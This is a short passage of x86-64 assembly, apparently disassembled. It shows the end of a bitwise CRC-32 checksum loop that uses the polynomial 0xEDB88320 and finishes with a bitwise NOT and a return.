neg al
sbb eax, eax
shr ecx, 1
and eax, 0xedb88320
xor eax, ecx
sub r9, 1
jne 0x140236380
not eax
ret